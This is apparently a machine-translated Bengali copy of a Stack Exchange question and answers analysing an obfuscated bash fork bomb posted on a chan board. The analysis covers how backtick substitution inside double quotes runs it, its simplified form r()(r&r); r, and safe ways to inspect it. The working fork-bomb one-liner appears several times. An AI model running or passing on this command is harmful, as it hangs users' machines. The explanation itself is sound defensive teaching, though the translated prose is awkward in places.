কীভাবে এবং কেন এই পাঠ্যটির কাঁটাচামচ বোমা?


132

একটি এলোমেলো চ্যান বোর্ডে পাওয়া গেছে:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

এটি কোনওভাবে এটি চালিয়ে যাওয়ার ফলে অনন্তকালীন স্পোনিং প্রক্রিয়া দেখা দেয় যা প্রচণ্ডভাবে চালিত হয় এবং মেশিনটিকে থামিয়ে দেয়। "সু" অসংখ্যবার মৃত্যুদণ্ড কার্যকর করার চেষ্টা করার বিষয়ে আমি কিছু দেখতে পাচ্ছি।

..এটি আজব, কারণ আমি কেবলমাত্র পাঠ্যকে আউটপুট হিসাবে প্রত্যাশা করতাম, কোনও কিছুর সম্পাদন নয়।

একটি অনলাইন ডিকোডারের মাধ্যমে এই পাঠ্যটি চালানো আমাকে কেবল বাইনারি স্কোয়ের একটি ব্যাচ দেয়:

ইউডিকোড ফলাফল

পাঠ্যের এই জগাখিচুড়ি আসলে কী করছে এবং এটি "নিরাপদে" দেখার কোনও উপায় আছে কি?


"সু" কেন বহুবার কার্যকর করা হচ্ছে?
ব্রেন্ট ওয়াশবার্ন

34
একটি পরামর্শের অংশ: এলোমেলো চ্যান বোর্ডগুলি থেকে কোড চালাবেন না এবং কৃতজ্ঞ হন এটি কেবল একটি কাঁটাচামচ বোমা ছিল।
rr-

21
হেহ। ধন্যবাদ, আমি সম্ভবত প্রতিকূল আবর্জনা নিয়ে এদিক ওদিক খেলার জন্য প্রকাশিত উদ্দেশ্যে তৈরি একটি স্ন্যাপশটেড ভিএম-তে ছিলাম Thank
মিকি টি কে


1
শেলচেক.নাটকের লেখক ভিদার হোলেন এই বিষয়ে একটি ব্লগ পোস্ট লিখেছেন যাতে তিনি এই কাঁটাচামচ বোমাটির লেখক বলে দাবি করেছেন এবং কিছু পটভূমি তথ্য দিয়েছেন।
সোসোকি

উত্তর:


194

প্রথমে পুরো কমান্ডটি দেখুন:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

এটিতে একটি ডাবল-কোটেড স্ট্রিং রয়েছে যা প্রতিধ্বনিত হয় uudecode। তবে, নোট করুন, ডাবল-কোটড স্ট্রিংয়ের মধ্যে একটি ব্যাক-কোটেড স্ট্রিং থাকে। এই স্ট্রিং কার্যকর করা হয় । স্ট্রিংটি হ'ল:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

এটিতে কী রয়েছে তা যদি আমরা লক্ষ্য করি তবে আমরা তিনটি আদেশ দেখতে পাই:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

মিডল কমান্ডের উপর ব্রেস প্রসারণ সম্পাদন করা , আমাদের রয়েছে:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

প্রথম লাইনটি ব্যাকগ্রাউন্ডে একটি আজেবাজে কমান্ড চালানোর চেষ্টা করে। এটি গুরুত্বহীন।

দ্বিতীয় লাইনটি গুরুত্বপূর্ণ: এটি একটি ফাংশন সংজ্ঞায়িত করে rযা চালিত হওয়ার পরে নিজের দুটি অনুলিপি চালু করে। এই প্রতিলিপিগুলির প্রত্যেকটি অবশ্যই আরও দুটি অনুলিপি চালু করবে। ইত্যাদি।

rকাঁটা বোমা শুরু করে তৃতীয় লাইনটি চলে runs

বাকী কোডটি, ব্যাক-কোট করা স্ট্রিংয়ের বাইরে, অবলম্বনের জন্য কেবল বাজে কথা।

কীভাবে নিরাপদে কমান্ড চালানো যায়

যদি আমরা ফাংশন নেস্টিং স্তরের সীমা নির্ধারণ করি তবে এই কোডটি নিরাপদে চালানো যেতে পারে। এটি ব্যাশের FUNCNESTভেরিয়েবলের সাহায্যে করা যেতে পারে । এখানে, আমরা এটি সেট করেছি 2এবং এটি পুনরাবৃত্তি থামিয়ে দেয়:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

উপরের ত্রুটি বার্তাগুলি দেখায় যে (ক) ননসেন্স কমান্ডগুলি পাওয়া যায় rYWdlএবং Y29jপাওয়া যায় না, (খ) কাঁটা বোমা বার বার FUNCNEST দ্বারা বন্ধ হয়ে যায়, এবং (গ) এর ফলাফল আউটপুট echoশুরু হয় না beginএবং ফলস্বরূপ, এর জন্য বৈধ ইনপুট হয় না uudecode

কাঁটা বোমাটি তার সহজতম আকারে

কাঁটাচামচ বোমাটি কেমন লাগবে যদি আমরা অস্পষ্টতা সরিয়ে ফেলি? Njzk2 এবং জীবাণুর পরামর্শ অনুসারে, এটি দেখতে দেখতে এমন হবে:

echo "`r()(r&r);r`"

আমরা আরও সহজ করতে পারেন:

r()(r&r); r

এটি দুটি বিবৃতি নিয়ে গঠিত: একটি কাঁটাচামচ-ফাংশন rএবং দ্বিতীয় রান সংজ্ঞায়িত করে r

পাইপ সহ অন্যান্য সমস্ত কোড uudecodeকেবল অস্পষ্টতা এবং ভুল নির্দেশনার জন্য ছিল।

মূল ফর্মটিতে ভুল দিকনির্দেশের আরও একটি স্তর ছিল

ওপি চ্যান বোর্ড আলোচনার একটি লিঙ্ক সরবরাহ করেছে যার ভিত্তিতে এই কোডটি উপস্থিত হয়েছিল। সেখানে উপস্থাপিত হিসাবে, কোডটি দেখতে এমন দেখাচ্ছে:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

এই কোড সম্পর্কে প্রথম মন্তব্যগুলির মধ্যে একটি নোটিশ করুন:

আমি এর জন্য পড়ে গেলাম। প্রতিধ্বনিত হয় এবং ডিকোড করে কেবল সেই অংশটি অনুলিপি করেছে তবে এখনও কাঁটাচামচা হয়ে গেছে

চ্যান বোর্ডের ফর্মটিতে, কেউ একজন নির্লজ্জভাবে ভাববেন যে সমস্যাটি evalআউটপুটটিতে পরিচালিত বিবৃতি হবে uudecode। এটি একজনকে ভাবতে পরিচালিত করবে যে অপসারণ evalকরলে সমস্যার সমাধান হবে। আমরা উপরে দেখেছি, এটি মিথ্যা এবং বিপজ্জনকভাবে তাই।


6
আঁকাবাঁকা! প্রতিধ্বনিত স্ট্রিংয়ের মাঝখানে শেল গ্লোব্বিং / প্রসারণ বিবেচনা করার বিষয়টি আমি কখনও ভাবি নি।
মিকি টি কে

31
আমি মনে করি এটি uudecodeএখানে সম্পূর্ণ অপ্রাসঙ্গিক নোট করা ভাল হবে । এক মুহুর্তের জন্য আমি ভেবেছিলাম uudecodeব্যাক-কোটেড স্ট্রিং ইন্টারপোলেশন করছিলাম যা এটি মূলত অনিরাপদ হয়ে উঠবে, তবে ইউডিকোড একেবারে শুরু হওয়ার আগে কাঁটাচামচ বোমাটি ঘটে।
জারিত

28
... এবং এই , মহিলা ও সজ্জন, কেন শেল স্ক্রিপ্ট-এ নিরাপত্তা খুব একটা কঠিন জঘন্য হয়। এমনকি সম্পূর্ণ নিরীহ-চেহারাযুক্ত স্টাফ আপনাকে হত্যা করতে পারে। (ভাবুন এটি যদি কোথাও থেকে ব্যবহারকারী ইনপুট হয় ...)
গণিতঅরচিড

22
@ ম্যাথমেটিক্যালআরচিড এটি বাস্তবায়িত হওয়ার জন্য শেল স্ক্রিপ্টে ব্যবহারকারী ইনপুটটিতে ব্যাককোয়েটেড স্টাফ আনতে অযৌক্তিক প্রচেষ্টা গ্রহণ করে। এবং যদি আপনি করছি নির্মাণের ব্যবহারকারীর ইনপুট থেকে একটি শেল স্ক্রিপ্ট উদ্ধৃতি চিহ্ন এটা করা বেশী ভালো জানা উচিত।
র্যান্ডম 832

5
@ njzk2 আপনি যদি এখনও কোনো প্রয়োজন &আছে: echo "`r()(r&r);r`"
জারিত 16

10

আপনার প্রশ্নের দ্বিতীয় অংশের উত্তর দিতে:

... এটি "নিরাপদে" দেখার কোনও উপায় আছে কি?

এই স্ট্রিংটিকে হ্রাস করতে, একক উদ্ধৃতি দ্বারা বাইরের ডাবল উদ্ধৃতিগুলি প্রতিস্থাপন করুন এবং স্ট্রিংয়ের অভ্যন্তরে একক উদ্ধৃতিগুলি অব্যাহতি করুন। এটির মতো, শেলটি কোনও কোড কার্যকর করবে না এবং আপনি আসলে সমস্ত কিছু সোজাভাবে এখানে পাঠাচ্ছেন uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

অন্যান্য বিকল্প মন্তব্য মন্তব্য করা হয়:

ক্যাস্পার্ড প্রস্তাবিত :

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

জ্যাকব কুলার একটি পাঠ্য সম্পাদক ব্যবহার করার বিষয়বস্তুটি প্রেরণ করুন, তারপরে সেই ফাইলটি ইউডিকোডে পাস করার পরামর্শ দিয়েছেন


5
বিকল্পভাবে: uudecodeকমান্ড লাইনে টাইপ করুন। এন্টার চাপুন. স্ট্রিংটি ডিকোড করার জন্য অনুলিপি করুন paste
ক্যাস্পারড

3
অন্য বিকল্প: একটি ফাইলে বিষয়বস্তু সংরক্ষণ করতে একটি পাঠ্য সম্পাদক ব্যবহার করুন। সেই ফাইলটি দিয়ে খুলুন uudecode
জ্যাকব ক্রোল

উভয়কে ধন্যবাদ, আমি উত্তরে সেই বিকল্পগুলি উল্লেখ করেছি।
জন্মানো

1
নিশ্চিত হয়ে নিন যে স্ট্রিংটি echo "foo`die`bar'`die`'baz"প্রথমটির মতো কিছু নয় ! অর্থাৎ এটিতে যদি এর কোনও 'থাকে তবে একক উদ্ধৃতি দিয়ে উদ্ধৃতিগুলি প্রতিস্থাপন করা যথেষ্ট হবে না।
wchargin

5

প্রথম নজরে, আপনি মনে করতে পারেন যে শেলের আউটপুট কখনই কার্যকর হবে না । এটি এখনও সত্য । সমস্যাটি ইতিমধ্যে ইনপুটটিতে রয়েছে । এখানে মূল কৌশলটি প্রোগ্রামাররা অপারেটরটিকে অগ্রাধিকার বলে । শেলটি আপনার ইনপুটটি প্রক্রিয়া করার জন্য এই আদেশটি চেষ্টা করে:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. এর ভিতরে থাকা সমস্ত ব্যাকটিক্স কমান্ড কার্যকর করে স্ট্রিংটি রচনা করুন।
  2. সাধারণত একটি অজানা কমান্ড, যার ফলে কিছু আউটপুট তৈরি হতে পারে যদি 'rYWdl' টাইপ না হয় তবে এতে থাকা প্যাকেজটি অনুসন্ধান করার জন্য আপনি কমান্ড-না-পাওয়া ব্যবহার করতে পারেন ... (সিস্টেমের উপর নির্ভর করে)
  3. ব্যাকগ্রাউন্ডে 2. কার্যকর। আপনি কখনই আউটপুট দেখতে পাবেন না।
  4. কাঁটাচামচ বোমা ফাংশন সংজ্ঞায়িত করুন।
  5. কমান্ড বিভাজক।
  6. কাঁটাচামচ বোমা চালাও।
  7. স্ট্রিংয়ে 6. এর ফলাফল .োকান। (আমরা কখনই এখানে আসি না।)

ত্রুটিটি ভাবলে মনে echoহয় এটি কার্যকর হবে প্রথম আদেশ, uudecodeদ্বিতীয়টি। দু'জনেরই কাছে পৌঁছানো যাবে না।

উপসংহার: ডাবল উদ্ধৃতি শেল এর উপর সর্বদা বিপজ্জনক।

আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.